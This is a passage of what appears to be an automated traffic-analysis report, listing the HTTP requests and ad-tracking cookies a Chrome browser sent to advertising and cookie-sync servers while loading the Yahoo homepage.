C300x600%7C300x250&ifi=1&sfv=1-0-40&fsfs=1%2C1%2C1%2C1%2C1&fsbs=1%2C1%2C1%2C1%2C1&eri=4&sc=1&cookie_enabled=1&abxe=1&dt=1704929234966&adxs=951%2C-9%2C147%2C-9%2C951&adys=1012%2C-9%2C129%2C-9%2C1787&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=1%7C-1%7C0%7C-1%7C2&ucis=1%7C2%7C3%7C4%7C5&oid=2&tos=~~~~&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=60&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fwww.yahoo.com%2F&rumc=3448363400861391&rume=1&vis=1&psz=292x2513%7C0x-1%7C1280x110%7C0x-1%7C300x600&msz=292x600%7C0x-1%7C1280x110%7C0x-1%7C300x0&fws=4%2C2%2C2052%2C2%2C4&ohw=1263%2C0%2C1263%2C0%2C300&ga_vid=1527460430.1704929235&ga_sid=1704929235&ga_hid=1141609210&ga_fc=false&td=1&topics=9&tps=9&htps=10&nt=1&psd=WzE1LFsyLFtbIi8yMjg4ODE1MjI3OS91cy95aHAvbWFpbi9kdC91c195aHBfbWFpbl9kdF90b3BfcmlnaHQiLFtdXSxbIi8yMjg4ODE1MjI3OS91cy95aHAvbWFpbi9kdC91c195aHBfbWFpbl9kdF9hc19taWRfcmlnaHRfYSIsW11dLFsiLzIyODg4MTUyMjc5L3VzL3locC9tYWluL2R0L3VzX3locF9tYWluX2R0X3RvcF9jZW50ZXIiLFtdXSxbIi8yMjg4ODE1MjI3OS91cy95aHAvbWFpbi9kdC91c195aHBfbWFpbl9kdF9hc19taWRfcmlnaHRfYiIsW11dLFsiLzIyODg4MTUyMjc5L3VzL3locC9tYWluL2R0L3VzX3locF9tYWluX2R0X2FzX21pZF9yaWdodF9jIixbXV1dXV0.&dlt=1704929227924&idt=5442&prev_scp=loc%3Dtop_right%26y_pgid%3D1%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26y_abt%3Dyhb%26y_expbkt%3D-283_-1143%26y_fp%3Djhjj%26y_ufr%3D1%26y_dnb%3D1%26y_ref%3D0%7Cloc%3Dmid_right_a%26noads%3D1%26y_pgid%3D2%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26y_abt%3Dyhb%26y_asbkt%3Dv2%26y_expbkt%3D-283_-1143%26y_fp%3Djhjj%26y_ufr%3D1%26y_dnb%3D1%26y_ref%3D0%7Cloc%3Dtop_center%26y_pgid%3D3%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26y_abt%3Dyhb%26y_expbkt%3D-283_-1143%26y_fp%3Djhjj%26y_ufr%3D1%26y_dnb%3D1%26y_ref%3D0%7Cloc%3Dmid_right_b%26noads%3D1%26y_pgid%3D4%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26y_abt%3Dyhb%26y_asbkt%3Dv2%26y_expbkt%3D-283_-1143%26y_fp%3Djhjj%26y_ufr%3D1%26y_dnb%3D1%26y_ref%3D0%7Cloc%3Dmid_right_c%26y_pgid%3D5%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26
Source: global traffic	HTTP traffic detected: GET /xuid?ld=1&mid=7976&xuid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&dongle=u6nf&gdpr=0&cmp_cs=&us_privacy= HTTP/1.1Host: eb2.3lift.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluid=3631141743957125218505
Source: global traffic	HTTP traffic detected: GET /AdServer/SPug?partnerID=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: simage4.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; chkChromeAb67Sec=1; pi=0:2; DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; SPugT=1704929238; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; PugT=1704929238; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=8&vsid=3479308330180239000V10&type=son&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=34d855fd-fbdc-4f5b-9260-4fff223b8b66 HTTP/1.1Host: contextual.media.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-c-ts=1704929238
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTgwNiZ0bD01MTg0MDA=&piggybackCookie=uid:A342B32A0BAA4852AA53FE42CB7195F6 HTTP/1.1Host: image2.pubmatic.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; chkChromeAb67Sec=1; pi=0:2; DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; SPugT=1704929238; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; PugT=1704929238; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6
Source: global traffic	HTTP traffic detected: GET /1a HTTP/1.1Host: i.clean.ggConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=8&vsid=3479308330180239000V10&type=con&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=AAAHl1xS8mtEBQMjNkpRAAAAAAA&expiration=1705015638&is_secure=true&gdpr_consent=&gdpr=0 HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8
Source: global traffic	HTTP traffic detected: GET /idsync/ex/receive?partner_id=1830&partner_device_id=bd6a219c-2538-477b-90ee-6d20c7860c4b&ttd_puid=d16e3823-cacb-438f-9bfc-c2bc8c823251%2C%2C HTTP/1.1Host: pixel.tapad.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TapAd_TS=1704929237034; TapAd_DID=d16e3823-cacb-438f-9bfc-c2bc8c823251; TapAd_3WAY_SYNCS=
Source: global traffic	HTTP traffic detected: GET /iu/api/res/1.2/3P4FecmyTTFWH72mzXTEZQ--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/ncaab/20181210/500x500/providence_wbg.png HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /oath/1/info2?sType=sync&_sdv&sExtCookieId=y-74rnzl5E2oNwzhZe6ductkiMFlajFMua0IQ-~A&sInitiator=external HTTP/1.1Host: uipglob.semasio.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: SEUNCY=2ECD9A48FE9664AD
Source: global traffic	HTTP traffic detected: GET /pcs/view?xai=AKAOjsuym782MWPdiKFwJckasVqUeeF5zFzt8rVCU47s1YAjifEpbIgmuJBFsIhEtr9GrcqnGVAaridz3JM5bcxK0Hk94ggudYZBGCtylhhXXhu_hs8UC3RzkI77EJCl6ttywzR8QPx4yeVJLswUzlfgNzOlUtTr6AXdh7jbuymxkDyQonOhLk6gdt6WMWBRPVjJe03GsGd_C7SQkRXNXo0rdB8JuWY_mhkC_buMTeXba09fxVvMrDGKuoxD-rxRkkMFIzY-kf3Ca6ebQ6iZogbcBRCeG5aOfPtWwUb7RlhlWI_NRDhiAT4lortn9uInut3gBdkXtU5zq92OdPcC5kEx7FGeGwB4Lfg6Cc7xCF3nXTNg11t01zbSrUuv_tTrJ-YUdzc-T3odAMwSW6lEzii3msjvtA&sai=AMfl-YTFcRS98GsOeCowYPdqg_mT-gFxLCWUygYSFvY_R9q8GzzWndhRFelFqN25WOZ3a4IAYZ3KoOb8tFM9nJs8g9igCCfK4UcNIWooB1VR9__2-4-gYx9XoCID1d7woaRqjep9nl_LPyR1LhwBTpSxi7Q&sig=Cg0ArKJSzJHhorAfqU1EEAE&uach_m=%5BUACH%5D&adurl= HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
Source: global traffic	HTTP traffic detected: GET /match/bidswitch?id=${user_id}&gdpr=0&consent=&usp=&ssp=medianet&bsw=f6435827-796b-4521-81e9-11e581628f69 HTTP/1.1Host: sync-dmp.mobtrakk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /libraries/Espresso-1.7.7.js HTTP/1.1Host: cdn.cmp.advertising.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=1&type=55953&ovsid=bd6a219c-2538-477b-90ee-6d20c7860c4b&_origin=0&gdpr=0&gdpr_consent=&redir=true HTTP/1.1Host: hb.yahoo.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63
Source: global traffic	HTTP traffic detected: GET /iu/api/res/1.2/IkFljGiNauQREEGi3lrW9w--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/ncaab/20190610/500x500/st_johns_ny_wbgs.png HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /crum?cm_dsp_id=57&external_user_id=968062845637553879 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
Source: global traffic	HTTP traffic detected: GET /crum?cm_dsp_id=90&external_user_id=A342B32A0BAA4852AA53FE42CB7195F6 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=1&vsid=3479308310180275000V10&type=son&refUrl=&vid=49292349683479308310180275000V10&ovsid=34d855fd-fbdc-4f5b-9260-4fff223b8b66&axid_e= HTTP/1.1Host: hb.yahoo.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=1&type=sov&ovsid=H-G_bLZHIhhIpR6ZTj2OFYm3&axid_e= HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63
Source: global traffic	HTTP traffic detected: GET /cm-notify?pi=aol&_origin=0&gdpr=0&gdpr_consent=&gpp=&gpp_sid= HTTP/1.1Host: creativecdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=1&type=crt&ovsid=94a96463-4da4-468a-ab35-7f2fcadb375f&gdpr=0&gdpr_consent=&us_privacy=&gpp= HTTP/1.1Host: contextual.media.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-c-ts=1704929238
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=1&type=zem&ovsid=v79p4FQcaoSFEzqKnYP- HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-c-ts=1704929238
Source: global traffic	HTTP traffic detected: GET /iu/api/res/1.2/3E6F0ARiT3ZQ7FArihI9Bw--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/nba/20181226/500x500/timberwolves_wbg.png HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=4&external_user_id=7302204774592217984 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
Source: global traffic	HTTP traffic detected: GET /ML/5c6e9ed3983c6bd791d9acf6b1bb037a__scv1__300x175.png HTTP/1.1Host: images.mediago.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __mguid_=22210ca70ab2b1d52kwt8a00lr8eujxp
Source: global traffic	HTTP traffic detected: GET /usermatchredir?s=184023&gdpr_consent=&gdpr=&gpp=&gpp_sid=&google_gid=CAESENB3vkDtn5oxWvBwA9gFXWc&google_cver=1 HTTP/1.1Host: ssum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
Source: global traffic	HTTP traffic detected: GET /iu/api/res/1.2/LaVK5.znBhNMAKDUJz1a2g--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/20181030/500x500/celtics_wbg.png HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/QKRnSYFFrkJivKfVckKVVQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://s.yimg.com/av/curveball/ads/pr/RESIZE_AND_CROP/1200x627/effb8e3da44bc6b557d36a7429190d20.jpeg HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=1&vsid=3479308310180275000V10&type=dtm&refUrl=&vid=49292349683479308310180275000V10&ovsid=AAACWBRgpry45AN_rYmFAAAAAAA&axid_e=&expiration=1705015639&nuid={{AXID}}&gpp_sid=&gpp=&is_secure=true&gdpr_consent=&gdpr=0 HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; 